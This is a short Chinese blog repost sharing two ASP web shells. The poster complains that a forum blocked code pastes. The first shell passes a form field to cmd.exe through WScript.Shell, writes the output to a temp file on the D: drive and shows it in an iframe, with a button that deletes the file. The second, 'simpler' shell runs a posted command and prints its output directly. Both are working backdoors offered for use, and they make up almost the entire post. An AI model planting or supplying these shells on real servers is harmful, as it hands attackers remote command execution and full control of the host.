刀JJ就是不让贴代码,害我发到博客来,正好赚流量,哼
转自坏客
原文地址
<%
Dim oScript
Dim szCMD, szTempFile ,del
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
szCMD = Request.Form(".CMD")
del=Request.Form("del")
If (szCMD <> " " ) Then
szTempFile = "d:"&"l"&year(date)&".txt"
Call oScript.Run ("cmd.exe /c echo NO FSO ASPMM V0.0 by >" & szTempFile, 0, True)
Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
End If
If (del = "DELtempfile") Then
Call oScript.Run( "cmd.exe /c del "&szTempFile,0,True)
end if
%>
<FORM method="POST">
<input type=text name=".CMD" size=45 >
<input type=submit value="Run"> <input type=submit value="DELtempfile" name=del>
<%
Response.Write "<Iframe src=’d:\l"&year(date)&".txt’ width=99% height=99%
frameborder=0></iframe>" %>
set oScrip=Nothing
%>
</form>
更简单的
<form method="post">
<input type=text name="cmd" size=60>
<input type=submit value="run"></form>
<textarea readonly cols=80 rows=20>
<%response.write server.createobject("wscript.shell").exec("cmd.exe /c
"&request.form("cmd")).stdout.readall%>
</textarea>